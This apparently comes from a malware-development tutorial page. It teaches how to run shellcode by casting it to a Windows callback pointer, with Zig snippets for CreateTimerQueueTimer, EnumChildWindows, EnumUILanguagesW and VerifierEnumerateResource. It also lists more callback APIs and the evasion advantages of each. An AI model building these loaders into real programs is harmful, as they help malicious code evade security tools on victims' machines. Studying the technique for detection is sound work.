Skip to content

Callback Code Execution

TL;DR

See the code example

Callback code execution is a technique that leverages Windows API functions that accept callback function pointers to execute shellcode. Instead of using traditional methods like CreateThread or VirtualAlloc, this approach casts shellcode as a legitimate callback function, making it appear more benign to security solutions.

What Is Callback Function

A callback function is a function passed as an argument to another function, which is then invoked at a specific point during the execution of that function. In Windows, many APIs accept callback functions to handle events, enumerate resources, or perform asynchronous operations.

The key insight for malware development is that these callback functions are executed in the same process context with the same privileges, making them perfect vehicles for shellcode execution. By casting shellcode as a callback function pointer, we can trick legitimate Windows APIs into executing our malicious code.

Common Callback Functions

Using CreateTimerQueueTimer

CreateTimerQueueTimer creates a timer-queue timer that executes a callback function when the timer expires. This is one of the most reliable callback execution techniques.

extern "kernel32" fn CreateTimerQueueTimer(
    phNewTimer: *?windows.HANDLE,
    TimerQueue: ?windows.HANDLE,
    Callback: WAITORTIMERCALLBACK,
    Parameter: ?*anyopaque,
    DueTime: windows.DWORD,
    Period: windows.DWORD,
    Flags: windows.ULONG,
) callconv(WINAPI) windows.BOOL;

const WAITORTIMERCALLBACK = *const fn (?*anyopaque, windows.BOOL) callconv(WINAPI) void;

// Cast the payload address to the callback function type
const callback = @as(WAITORTIMERCALLBACK, @ptrCast(&payload));

if (CreateTimerQueueTimer(
    &hTimer,
    null, // TimerQueue - use default queue
    callback, // Callback - our shellcode
    null, // Parameter
    0, // DueTime - execute immediately
    0, // Period - execute once
    0, // Flags
) == 0) {
    print("[!] CreateTimerQueueTimer Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return;
}

Using EnumChildWindows

EnumChildWindows enumerates child windows and calls a callback function for each window found. When passed a NULL parent window, it enumerates all top-level windows.

extern "user32" fn EnumChildWindows(
    hWndParent: ?HWND,
    lpEnumFunc: WNDENUMPROC,
    lParam: LPARAM,
) callconv(WINAPI) windows.BOOL;

const WNDENUMPROC = *const fn (HWND, LPARAM) callconv(WINAPI) windows.BOOL;

// Cast the payload address to the callback function type
const callback = @as(WNDENUMPROC, @ptrCast(&payload));

if (EnumChildWindows(null, // NULL parent enumerates all top-level windows
    callback, // Our payload
    0 // NULL lParam
) == 0) {
    print("[!] EnumChildWindows Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return;
}

Using EnumUILanguagesW

EnumUILanguagesW enumerates the user interface languages available on the system, calling a callback function for each language found.

extern "user32" fn EnumUILanguagesW(
    lpUILanguageEnumProc: UILANGUAGE_ENUMPROCW,
    dwFlags: DWORD,
    lParam: LPARAM
) callconv(WINAPI) windows.BOOL;

const UILANGUAGE_ENUMPROCW = *const fn ([*:0]u16, LPARAM) callconv(WINAPI) windows.BOOL;
const MUI_LANGUAGE_NAME: DWORD = 0x8;

// Cast the payload address to the callback function type
const callback = @as(UILANGUAGE_ENUMPROCW, @ptrCast(&payload));

if (EnumUILanguagesW(callback, MUI_LANGUAGE_NAME, 0) != 0) {
    print("[!] EnumUILanguagesW Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return;
}

Using VerifierEnumerateResource

VerifierEnumerateResource is part of the Application Verifier framework and enumerates application resources, calling a callback for each resource found.

// Application Verifier callback function type
const AVRF_RESOURCE_ENUMERATE_CALLBACK = *const fn (
    PVOID, // ResourceDescription
    PVOID, // EnumerationContext
    PULONG, // EnumerationLevel
) callconv(WINAPI) ULONG;

// Function pointer type for VerifierEnumerateResource
const FnVerifierEnumerateResource = *const fn (
    HANDLE, // Process
    ULONG, // Flags
    ULONG, // ResourceType
    AVRF_RESOURCE_ENUMERATE_CALLBACK, // ResourceCallback
    ?PVOID, // EnumerationContext
) callconv(WINAPI) ULONG;

// Load verifier.dll dynamically
hModule = LoadLibraryA("verifier.dll");
const proc_addr = GetProcAddress(hModule.?, "VerifierEnumerateResource");
pVerifierEnumerateResource = @as(FnVerifierEnumerateResource, @ptrCast(proc_addr.?));

// Cast the payload address to the callback function type
const callback = @as(AVRF_RESOURCE_ENUMERATE_CALLBACK, @ptrCast(&payload));

// Call VerifierEnumerateResource
_ = pVerifierEnumerateResource.?(
    GetCurrentProcess(),
    0,
    AvrfResourceHeapAllocation,
    callback,
    null,
);

More

The callback execution technique is versatile and can be applied to many Windows APIs. Some additional functions that accept callbacks include:

  • EnumerateLoadedModules - Enumerates loaded modules in a process
  • EnumDirTreeW - Enumerates directory trees with file patterns
  • SymEnumProcesses - Enumerates processes for symbol handling
  • EnumPageFilesW - Enumerates system paging files
  • LdrEnumerateLoadedModules - Low-level module enumeration via NTDLL
  • EnumWindows - Enumerates all top-level windows
  • EnumResourceTypesW - Enumerates resource types in modules
  • EnumFontsW - Enumerates fonts

You can checkout more callback functions in this GitHub repository.

Advantages Of Callback Execution

  1. Evasion: Appears as legitimate API usage to security tools
  2. No Suspicious Allocations: Uses existing executable memory (.text section)
  3. No Thread Creation: Executes in the context of existing threads
  4. API Diversity: Many different APIs can be used, making detection harder
  5. Legitimate Context: Code runs through legitimate Windows API call chains